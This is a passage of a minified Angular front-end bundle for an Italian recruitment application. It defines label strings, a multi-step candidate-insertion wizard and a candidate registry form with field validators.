nei panni degli altri e mostra comprensione per le loro idee.",comunicazioneTree:"Riesce ad essere assertivo e a difendere i propri punti di vista mantenendo un atteggiamento rispettoso verso le opinioni altrui.",adattabilitaCambiamentoOne:"Accetta e si adatta rapidamente ai cambiamenti (di team, di progetto, di organizzazione).",adattabilitaCambiamentoTwo:"Considera idee e approcci differenti integrandoli nel proprio agire quotidiano.",adattabilitaCambiamentoTree:"Sa ricevere feedback e modificare opportunamente i propri comportamenti.",teamWorkingOne:"Mostra un approccio collaborativo aiutando il team a risolvere i potenziali problemi.",teamWorkingTwo:"Supporta attivamente gli altri nell\u2019esecuzione degli incarichi assegnati al team.",teamWorkingTree:"Sa mostrare apprezzamento per i contributi e le idee altrui, partecipa attivamente alle attivit\xe0 di brainstorming del gruppo."},trainings:{titoloFormazione:"Titolo della Formazione",dataConseguimento:"Data Conseguimento",enteFormatore:"Ente Formatore",name_certification:"Nome Certificato",issuer:"Organizzazione emittente",startDate:"Emessa il",endDate:"Scadenza",certificate_id:"ID Credenziale",certificate_url:"URL Credenziale"},experiences:{exp_jobTitle:"Mansione",company_name:"Azienda",location:"Citt\xe0",exp_startDate:"Data di inizio",exp_endDate:"Data di fine",exp_industry:"Industry",description:"Descrizione"},attachments:{filename:"Nome file",category:"Categoria"},interviews:{isAvailableTravel:"Disponibile a spostarsi",hasAmbitions:"\xc8 ambizioso",hasCarCheck:"Ha l'automobile",hasCarText:"Altro",launch_couponCheck:"Buono pasto",launch_couponText:"Altro",isSearchingJobCheck:"In cerca di lavoro",isSearchingJobText:"Altro",insuranceCheck:"Assicurazione",insuranceText:"Altro",type_interview:"Tipo di Intervista",profPath:"Percorso Professionale",availability_date:"Disponibile da",ral:"RAL da",ccnl:"Ccnl",desired_salary:"Desiderata",level:"Livello",bonus:"Indennit\xe0 / Bonus Variabile",whyIsChangingJob:"Motivazione al cambiamento",col_industry:"Settori di interesse",clients_matching:"Clienti Corrispondenti",soft_skills:"Soft Skills",preavviso:"Periodo di preavviso",general_overview:"Valutazione Generale",externalReference:"Referenze Esterne",prof_aspirations:"Aspirazioni Professionali",col_note:"Note aggiuntive"},events:{titolo:"Titolo",tipologia:"Tipologia",data_inizio:"Data Inizio",data_fine:"Data Fine",link_evento:"Link Evento",contenuto:"Contenuto"}}}return m(e,[{key:"ngOnInit",value:function(){}},{key:"originalOrder",value:function(){}}]),e}()).\u0275fac=function(e){return new(e||ti)},ti.\u0275cmp=z.Jb({type:ti,selectors:[["app-candidate-insert-riepilogo"]],inputs:{form:"form"},decls:19,vars:10,consts:[[4,"ngIf"],[1,"row"],["class","col-md-6",4,"ngFor","ngForOf"],[1,"col-md-6"],[1,"card-body__title"],["class","row mt-3",4,"ngFor","ngForOf"],[1,"row","mt-3"]],template:function(e,t){1&e&&(z.Gc(0,kt,4,4,"div",0),z.Qb(1,"br"),z.Gc(2,Qt,2,1,"div",0),z.Qb(3,"br"),z.Gc(4,At,2,1,"div",0),z.Qb(5,"br"),z.Gc(6,Nt,2,1,"div",0),z.Qb(7,"br"),z.Gc(8,Mt,4,4,"div",0),z.Qb(9,"br"),z.Gc(10,qt,2,1,"div",0),z.Qb(11,"br"),z.Gc(12,Dt,2,1,"div",0),z.Qb(13,"br"),z.Gc(14,$t,2,1,"div",0),z.Qb(15,"br"),z.Gc(16,Ht,2,1,"div",0),z.Qb(17,"br"),z.Gc(18,ei,2,1,"div",0)),2&e&&(z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.anagrafica&&t.form.controls.anagrafica.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.educations&&t.form.controls.educations.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.languages&&t.form.controls.languages.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.skills&&t.form.controls.skills.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.softSkills&&t.form.controls.softSkills.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.trainings&&t.form.controls.trainings.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.experiences&&t.form.controls.experiences.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.attachments&&t.form.controls.attachments.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.interviews&&t.form.controls.interviews.value),z.Cb(2),z.nc("ngIf",t.form&&t.form.controls&&t.form.controls.events&&t.form.controls.events.value))},directives:[S.n,S.m],pipes:[S.g,E.c],encapsulation:2}),ti);function ni(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-anagrafica",27),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.anagrafica=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.anagrafica)("options",n.anagraficaFormOptions)}}function ai(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-istruzione",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.educations=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.educations)("options",n.istruzioneFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function oi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-lingue",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.languages=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.languages)("options",n.lingueFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function ri(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-skills",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.skills=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.skills)("options",n.skillsFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function ci(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-soft-skills",29),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.softSkills=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.softSkills)}}function li(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-formazione",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.trainings=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.trainings)("options",n.formazioneFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function si(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-esperienza",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.experiences=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.experiences)("options",n.esperienzaFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function bi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-allegati",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.attachments=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.attachments)("options",n.allegatiFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function di(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-colloquio",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.interviews=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.interviews)("options",n.colloquioFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function mi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"app-candidate-insert-evento",28),z.cc("formChange",function(e){return z.Ac(i),z.gc().insertForm.controls.events=e}),z.Ub()}if(2&e){var n=z.gc();z.nc("form",n.insertForm.controls.events)("options",n.eventoFormOptions)("removeEmpty",n.removeEmptyFormGroup)}}function ui(e,t){if(1&e&&z.Qb(0,"app-candidate-insert-riepilogo",30),2&e){var i=z.gc();z.nc("form",i.insertForm)}}function gi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"a",31),z.cc("click",function(){return z.Ac(i),z.gc().currentStepIncrement()}),z.Qb(1,"i",25),z.Ic(2),z.hc(3,"translate"),z.Ub()}2&e&&(z.Cb(2),z.Kc("",z.ic(3,1,"Avanti")," "))}function pi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"a",32),z.cc("click",function(){return z.Ac(i),z.gc().currentStepDecrement()}),z.Qb(1,"i",33),z.Ic(2),z.hc(3,"translate"),z.Ub()}2&e&&(z.Cb(2),z.Kc("",z.ic(3,1,"Indietro")," "))}var fi,vi=((fi=function(){function e(t,i,n,a,o,r){b(this,e),this.candidateService=i,this.router=n,this.translate=a,this.utilsService=o,this.growService=r,this.subs=[],this.fileToUpload=null,this.dropzoneCfgAnagrafica={url:x.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},this.settingsGUIJsonUpload={gui:{showTableAttach:!0,showUploadAttach:!0}},this.settingsDataJsonUpload={data:{userType:"candidate",fixedCategory:"CV",showDropCategory:"",showCompactTable:!1,requestFilters:{id_file:"",id_candidate:"",category:"CV"}}},this.formList=["educations","languages","skills","trainings","experiences","attachments","interviews","events"],this.configurazioneWizard=[{step:0,name:"Anagrafica"},{step:1,name:"Istruzione"},{step:2,name:"Lingue"},{step:3,name:"Skills"},{step:4,name:"Soft Skills"},{step:5,name:"Formazione"},{step:6,name:"Esperienza"},{step:7,name:"Allegati"},{step:8,name:"Colloquio"},{step:9,name:"Eventi"},{step:10,name:"Riepilogo"}],this.fb=t,this.inizializzaForm(),this.caricaDatiPerForm(),this.currentStep=0,this.setTitleStep()}return m(e,[{key:"currentStepIncrement",value:function(){this.currentStep<this.configurazioneWizard.length-1&&(this.currentStep++,this.setTitleStep())}},{key:"currentStepDecrement",value:function(){this.currentStep>0&&(this.currentStep--,this.setTitleStep())}},{key:"setCurrentStep",value:function(e){this.currentStep=e,this.setTitleStep()}},{key:"setTitleStep",value:function(){var e=this;this.configurazioneWizard.forEach(function(t){t.step==e.currentStep&&(e.titleStep="Riepilogo"!=t.name?"Inserimento "+t.name:t.name)})}},{key:"ngOnInit",value:function(){window.insertForm=this.insertForm}},{key:"updateForm",value:function(e,t){this.insertForm.get(t).setValue(e)}},{key:"componentDestroyed",value:function(e,t){this.insertForm.addControl(t,e)}},{key:"getForm",value:function(e){return this.insertForm.controls[e]}},{key:"inizializzaForm",value:function(){this.anagraficaFormOptions={jobTitleOption:[],recruitmentOptions:[],geographicOptions:[],cityOptions:[],cityOptionsFiltered:[],birthCityOptionsFiltered:[],ruoloFromDB:[],regionsOptions:[],nationOptions:[],mobilitazioneOptions:[],statusOptions:[],valutazioneOptions:[]},this.istruzioneFormOptions={educOptions:[],educLevelOptions:[],educTitlesOptions:[],regions:[],cityOptions:[],schoolsFiltered:[]},this.lingueFormOptions={languagesListOpt:[],languagesLevelOpt:[]},this.skillsFormOptions={industryListOpt:[],macroAreaListOpt:[],categoriesOptions:[],subCategoriesOptions:[],skillsOptions:[]},this.formazioneFormOptions={issuersListOpt:[]},this.esperienzaFormOptions={industryListOpt:[]},this.allegatiFormOptions={categoryOptions:[]},this.colloquioFormOptions={type_interview_options:[],industryListOpt:[],livelloOptions:[],valutazioneOptions:[]},this.eventoFormOptions={tipologiaOption:[]},this.insertForm=this.fb.group({anagrafica:[""],educations:[""],languages:[""],skills:[""],softSkills:[""],trainings:[""],experiences:[""],attachments:[""],interviews:[""],events:[""]})}},{key:"caricaDatiPerForm",value:function(){var e=this;this.utilsService.getAllMobilitazioneOptions().subscribe(function(t){e.anagraficaFormOptions.mobilitazioneOptions=t.status?t.message:[]}),this.utilsService.getAllJobTitles().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.jobTitleOption=t.message)})).subscribe(),this.utilsService.getAllRecruitmentOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.recruitmentOptions=t.message)})).subscribe(),this.utilsService.getAllGeographicOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.geographicOptions=t.message)})).subscribe(),this.candidateService.getStatus().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.statusOptions=t.message)})).subscribe(),this.utilsService.getAllValutazioneOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.valutazioneOptions=t.message,e.colloquioFormOptions.valutazioneOptions=t.message)})).subscribe(),this.utilsService.getAllEducationNameOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.istruzioneFormOptions.educOptions=t.message)})).subscribe(),this.utilsService.getAllEducationLevelOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.istruzioneFormOptions.educLevelOptions=t.message)})).subscribe(),this.utilsService.getAllEducationTitleOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.istruzioneFormOptions.educTitlesOptions=t.message)})).subscribe(),this.utilsService.getAllLanguagesLevelOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.lingueFormOptions.languagesLevelOpt=t.message)})).subscribe(),this.utilsService.getAllFormazioneIssuerOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.formazioneFormOptions.issuersListOpt=t.message)})).subscribe(),this.utilsService.getAllegatiCategoryOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.allegatiFormOptions.categoryOptions=t.message)})).subscribe(),this.utilsService.getAllColloquioInterviewOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.colloquioFormOptions.type_interview_options=t.message)})).subscribe(),this.utilsService.getAllColloquioLevelOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.colloquioFormOptions.livelloOptions=t.message)})).subscribe(),this.utilsService.getAllEventsOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.eventoFormOptions.tipologiaOption=t.message)})).subscribe(),this.utilsService.getCities().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.cityOptions=t.message.sort(function(e,t){return e.nome_comune.toLowerCase()>t.nome_comune.toLowerCase()?1:-1}),e.istruzioneFormOptions.cityOptions=JSON.parse(JSON.stringify(e.anagraficaFormOptions.cityOptions)))})).subscribe(),this.utilsService.getRegions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.anagraficaFormOptions.regionsOptions=t.message.sort(function(e,t){return e.nome_regione.toLowerCase()>t.nome_regione.toLowerCase()?1:-1}),e.istruzioneFormOptions.regions=JSON.parse(JSON.stringify(e.anagraficaFormOptions.regionsOptions)))})).subscribe(),this.utilsService.getNations().pipe(Object(p.a)(),Object(f.a)(function(i){if(i.status){var n=[];n.push(i.message.find(function(e){return"italia"==e.nome.toLowerCase()})),n.push.apply(n,t(i.message.sort(function(e,t){return e.nome.toLowerCase()>t.nome.toLowerCase()?1:-1}).filter(function(e){return"italia"!=e.nome.toLowerCase()}))),e.anagraficaFormOptions.nationOptions=n}})).subscribe(),this.utilsService.getLanguagesList().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.lingueFormOptions.languagesListOpt=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe(),this.utilsService.getAllIndustryOptions().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.industryListOpt=t.message,e.esperienzaFormOptions.industryListOpt=t.message,e.colloquioFormOptions.industryListOpt=t.message)})).subscribe(),this.utilsService.getMacroareas().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.macroAreaListOpt=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe(),this.utilsService.getCategories().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.categoriesOptions=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}),e.skillsFormOptions.subCategoriesOptions=JSON.parse(JSON.stringify(e.skillsFormOptions.categoriesOptions)))})).subscribe(),this.utilsService.getSkills().pipe(Object(p.a)(),Object(f.a)(function(t){t.status&&(e.skillsFormOptions.skillsOptions=t.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe()}},{key:"updateIdFilesList",value:function(e){this.idFilesListToLoad=e}},{key:"backToCandidateList",value:function(){var e=this;Q.a.fire({title:"Sei sicuro di voler tornare alla lista dei candidati?",text:"Attenzione: Tornando alla lista dei candidati tutti i dati inseriti fin ora verrano persi.",footer:"Se vuoi prima salvare i tuoi dati clicca su  <b>Annulla</b> e poi sul pulsante in fondo alla pagina  <b>Salva</b>!",showDenyButton:!0,icon:"warning",confirmButtonText:"Vai alla Lista Candidati",denyButtonText:"Annulla"}).then(function(t){t.isConfirmed&&e.router.navigate(["/candidates"])})}},{key:"addFormGroup",value:function(e,t){this[t]&&this[t]instanceof C.h&&e.push(this[t])}},{key:"removeEmptyFormGroup",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=[];e.value.map(function(e,t){var n=!0;for(var a in e)if(e[a]&&""!=e[a]){n=!1;break}1==n&&i.push(t)});for(var n=0,a=0,o=i;a<o.length;a++){var r=o[a];(e.length>1||t)&&(e.removeAt(r-n),n++)}}},{key:"submitForm",value:function(){var e=this,t=Object.assign(Object.assign({id_candidate:this.id_candidate},this.insertForm.controls.anagrafica.value),this.insertForm.controls.softSkills.value);this.formList.forEach(function(i){t[i]=e.insertForm.controls[i].value||[]}),t.name&&t.surname&&t.email?this.candidateService.addNewCandidate(t).subscribe(function(e){return console.log(e)}):this.growService.addError("I campi obbligatori non sono valorizzati!")}},{key:"ngOnDestroy",value:function(){var e,t=c(this.subs);try{for(t.s();!(e=t.n()).done;){var i=e.value;i&&i.unsubscribe()}}catch(n){t.e(n)}finally{t.f()}}}]),e}()).\u0275fac=function(e){return new(e||fi)(z.Pb(C.e),z.Pb(v.a),z.Pb(d.f),z.Pb(U.a),z.Pb(V.a),z.Pb(y.a))},fi.\u0275cmp=z.Jb({type:fi,selectors:[["candidate-insert"]],decls:48,vars:31,consts:[[1,"content__title","row"],[1,"col-4"],[1,"col-8","text-right"],[1,"actions"],[1,"btn","btn-dark","mod","btn--icon-text",3,"click"],[1,"zmdi","zmdi-arrow-left"],[1,"d-none","d-sm-inline"],[1,"card"],[1,"card-body","p-2"],[3,"config","currentStep","stepChange"],[1,"row"],[1,"col-12"],[1,"card-body","pb-0"],[1,"col-md-12"],[1,"card-title"],[1,"card-subtitle"],[1,"card-body"],[3,"formGroup"],[3,"form","options","formChange",4,"ngIf"],[3,"form","options","removeEmpty","formChange",4,"ngIf"],[3,"form","formChange",4,"ngIf"],[3,"form",4,"ngIf"],[1,"col-md-12","mt-5"],["class","btn btn-orange right ml-3 mr-3",3,"click",4,"ngIf"],[1,"btn","btn-orange","right","ml-3",3,"click"],[1,"zmdi","zmdi-next"],["class","btn btn-dark right",3,"click",4,"ngIf"],[3,"form","options","formChange"],[3,"form","options","removeEmpty","formChange"],[3,"form","formChange"],[3,"form"],[1,"btn","btn-orange","right","ml-3","mr-3",3,"click"],[1,"btn","btn-dark","right",3,"click"],[1,"zmdi","zmdi-prev"]],template:function(e,t){1&e&&(z.Vb(0,"header",0),z.Vb(1,"div",1),z.Vb(2,"h1"),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Vb(5,"div",2),z.Vb(6,"div",3),z.Vb(7,"button",4),z.cc("click",function(){return t.backToCandidateList()}),z.Qb(8,"i",5),z.Vb(9,"span",6),z.Ic(10),z.hc(11,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(12,"div",7),z.Vb(13,"div",8),z.Vb(14,"app-wizard-manager",9),z.cc("stepChange",function(e){return t.setCurrentStep(e)}),z.Ub(),z.Ub(),z.Ub(),z.Vb(15,"div",10),z.Vb(16,"div",11),z.Vb(17,"div",7),z.Vb(18,"div",12),z.Vb(19,"div",10),z.Vb(20,"div",13),z.Vb(21,"h4",14),z.Ic(22),z.hc(23,"translate"),z.Ub(),z.Vb(24,"h6",15),z.Ic(25),z.hc(26,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(27,"div",16),z.Vb(28,"form",17),z.Gc(29,ni,1,2,"app-candidate-insert-anagrafica",18),z.Gc(30,ai,1,3,"app-candidate-insert-istruzione",19),z.Gc(31,oi,1,3,"app-candidate-insert-lingue",19),z.Gc(32,ri,1,3,"app-candidate-insert-skills",19),z.Gc(33,ci,1,1,"app-candidate-insert-soft-skills",20),z.Gc(34,li,1,3,"app-candidate-insert-formazione",19),z.Gc(35,si,1,3,"app-candidate-insert-esperienza",19),z.Gc(36,bi,1,3,"app-candidate-insert-allegati",19),z.Gc(37,di,1,3,"app-candidate-insert-colloquio",19),z.Gc(38,mi,1,3,"app-candidate-insert-evento",19),z.Gc(39,ui,1,1,"app-candidate-insert-riepilogo",21),z.Vb(40,"div",10),z.Vb(41,"div",22),z.Gc(42,gi,4,3,"a",23),z.Vb(43,"button",24),z.cc("click",function(){return t.submitForm()}),z.Qb(44,"i",25),z.Ic(45),z.hc(46,"translate"),z.Ub(),z.Gc(47,pi,4,3,"a",26),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Jc(z.ic(4,21,"Inserimento Candidato")),z.Cb(7),z.Jc(z.ic(11,23,"Torna a Lista Candidati")),z.Cb(4),z.nc("config",t.configurazioneWizard)("currentStep",t.currentStep),z.Cb(8),z.Kc(" ",z.ic(23,25,t.titleStep)," "),z.Cb(3),z.Kc("",z.ic(26,27,"Inserisci qui i dati del candidato.")," "),z.Cb(3),z.nc("formGroup",t.insertForm),z.Cb(1),z.nc("ngIf",0==t.currentStep),z.Cb(1),z.nc("ngIf",1==t.currentStep),z.Cb(1),z.nc("ngIf",2==t.currentStep),z.Cb(1),z.nc("ngIf",3==t.currentStep),z.Cb(1),z.nc("ngIf",4==t.currentStep),z.Cb(1),z.nc("ngIf",5==t.currentStep),z.Cb(1),z.nc("ngIf",6==t.currentStep),z.Cb(1),z.nc("ngIf",7==t.currentStep),z.Cb(1),z.nc("ngIf",8==t.currentStep),z.Cb(1),z.nc("ngIf",9==t.currentStep),z.Cb(1),z.nc("ngIf",10==t.currentStep),z.Cb(3),z.nc("ngIf",t.currentStep<t.configurazioneWizard.length-1),z.Cb(3),z.Kc("",z.ic(46,29,"Salva")," "),z.Cb(2),z.nc("ngIf",t.currentStep>0))},directives:[ce.a,C.w,C.o,C.i,S.n,Ve,we,Ee,Re,$e,et,ct,mt,Ct,Ot,ii],pipes:[E.c],styles:[".p0[_ngcontent-%COMP%]{padding:0}.m0[_ngcontent-%COMP%]{margin:0}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}@media (min-width:768px){.profile[_ngcontent-%COMP%]{display:flex;align-items:center;flex-direction:row}}@media (max-width:767.98px){.profile[_ngcontent-%COMP%]{margin-top:75px;text-align:center}}.profile__img[_ngcontent-%COMP%]{padding:5px;position:relative}.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{max-width:200px;border-radius:2px}@media (max-width:767.98px){.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{margin:-55px 0 -10px;width:120px;border:5px solid #fff;border-radius:50%}}.profile__img__edit[_ngcontent-%COMP%]{position:absolute;font-size:1.2rem;top:15px;left:15px;background-color:rgba(0,0,0,.4);width:30px;height:30px;line-height:30px;border-radius:50%;text-align:center;color:#fff}.profile__img__edit[_ngcontent-%COMP%]:hover{background-color:rgba(0,0,0,.65);color:#fff}.profile__info[_ngcontent-%COMP%]{padding:30px}.nav-tabs[_ngcontent-%COMP%]:not([class*=nav-tabs--])   .nav-link.active[_ngcontent-%COMP%]{color:orange;font-weight:700}.nav-tabs[_ngcontent-%COMP%]   .nav-link[_ngcontent-%COMP%]:before{background:orange}.wp-100[_ngcontent-%COMP%]{min-width:100px}.right[_ngcontent-%COMP%]{float:right;margin-right:1pt}.textareaCustom[_ngcontent-%COMP%]{min-height:60px;height:auto;max-height:40vh;overflow-y:hidden;word-wrap:break-word}.boxer-multiselect-modis[_ngcontent-%COMP%]{background:#ffb81c;box-sizing:border-box;border:#e9ecef;color:#000;cursor:pointer;font-size:13.5px;padding:12px;margin-bottom:2px}.i-delete-hover[_ngcontent-%COMP%]:hover{color:orange}"]}),fi),hi=function e(){b(this,e)},Ci=r("d0ze"),Vi=["mobilitazioneSelector"],Ui=function(e){return["form-control",e]};function _i(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",5),z.Vb(1,"h3",6),z.Ic(2),z.hc(3,"translate"),z.Vb(4,"label",7),z.Ic(5,"*"),z.Ub(),z.Ub(),z.Vb(6,"div",8),z.Vb(7,"app-datetime-manager",13),z.cc("modelChange",function(e){return z.Ac(i),z.gc()._form.controls.residency_validity.value=e}),z.Ub(),z.Qb(8,"i",10),z.Vb(9,"div",11),z.Ic(10),z.hc(11,"translate"),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=z.gc();z.Cb(2),z.Jc(z.ic(3,5,"Scadenza permesso di soggiorno")),z.Cb(5),z.nc("disabled",n._form.disabled)("model",n._form.controls.residency_validity.value)("inputClass",z.rc(9,Ui,n.validateField("residency_validity",n._form,n.isInEdit))),z.Cb(3),z.Kc(" ",z.ic(11,7,"Inserire una data valida!")," ")}}var Ii=function(){return["form-control"]};function yi(e,t){1&e&&(z.Vb(0,"div",5),z.Vb(1,"h3",6),z.Ic(2),z.hc(3,"translate"),z.Ub(),z.Vb(4,"div",8),z.Qb(5,"input",34),z.Qb(6,"i",10),z.Vb(7,"div",11),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.Kc("",z.ic(3,3,"Partita Iva")," "),z.Cb(3),z.nc("ngClass",z.qc(7,Ii)),z.Cb(3),z.Kc(" ",z.ic(9,5,"Inserire una partita iva valida e correttamente formattata!")," "))}var xi=function(){return["form-control","border-select"]};function Oi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"div",8),z.Vb(1,"ng-select",35,36),z.cc("change",function(e){return z.Ac(i),z.gc().onMobilitazioneAdd(e)}),z.Ub(),z.Qb(3,"i",10),z.Ub()}if(2&e){var n=z.gc();z.Cb(1),z.nc("items",n.options.mobilitazioneOptions)("ngClass",z.qc(2,xi))}}function zi(e,t){if(1&e){var i=z.Wb();z.Vb(0,"i",39),z.cc("click",function(){z.Ac(i);var e=z.gc().$implicit;return z.gc().onMobilitazioneRemove(e)}),z.Ub()}}function ki(e,t){if(1&e&&(z.Vb(0,"span",37),z.Ic(1),z.Gc(2,zi,1,0,"i",38),z.Ub()),2&e){var i=t.$implicit,n=z.gc();z.nc("cdkDragDisabled",!n.isInEdit),z.Cb(1),z.Kc("",i,"\xa0"),z.Cb(1),z.nc("ngIf",n.isInEdit)}}var wi,Fi=function(e){return["form-control","border-select",e]},Qi=((wi=function(e){i(o,e);var n=a(o);function o(e){var t;return b(this,o),(t=n.call(this,e,"FormGroup")).dropzoneCfgAnagrafica={url:x.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},window.x=t._form,t}return m(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({name:[null,[C.v.required,C.v.maxLength(30)]],surname:[null,[C.v.required,C.v.maxLength(30)]],need:[null],birth_date:[null],cdf:["",[C.v.maxLength(16),C.v.minLength(16),C.v.pattern("[a-zA-Z]{6}[0-9]{2}[a-zA-Z][0-9]{2}[a-zA-Z][0-9]{3}[a-zA-Z]")]],email:["",[C.v.required,C.v.email]],pec:["",[C.v.email]],cellular:["",[C.v.minLength(8),C.v.maxLength(32),C.v.pattern("[0-9() +-]+")]],jobtitle:[null],id_residence_state:[null],residency_validity:[null,[C.v.required]],piva:[null],status:[""],recruitmentSource:[null],gdpr:[!1,[C.v.requiredTrue]],mobilitazione:[[]],marketing_consent:[!1],is_piva:[!1],photo_profile:[null]})}},{key:"onMobilitazioneAdd",value:function(e){if(e&&e.name){var i=this._form.get("mobilitazione").value;0==i.filter(function(t){return t.name==e.name}).length&&(i instanceof Array?this._form.get("mobilitazione").setValue([].concat(t(i),[e.name])):this._form.get("mobilitazione").setValue([e.name]))}this.mobilitazioneSelector.handleClearClick()}},{key:"onMobilitazioneRemove",value:function(e){var t=this._form.get("mobilitazione").value.filter(function(t){return t!=e});this._form.get("mobilitazione").setValue(t)}},{key:"drop",value:function(e){Object(I.e)(this._form.get("mobilitazione").value,e.previousIndex,e.currentIndex)}}]),o}(le.a)).\u0275fac=function(e){return new(e||wi)(z.Pb(C.e))},wi.\u0275cmp=z.Jb({type:wi,selectors:[["app-candidate-view-edit-anagrafica"]],viewQuery:function(e,t){var i;1&e&&z.Mc(Vi,1),2&e&&z.wc(i=z.dc())&&(t.mobilitazioneSelector=i.first)},features:[z.zb],decls:152,vars:121,consts:[[1,"row","mb-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"formGroup"],[1,"row"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","surname",3,"ngClass"],["placeholder","","mode","day","placement","bottom 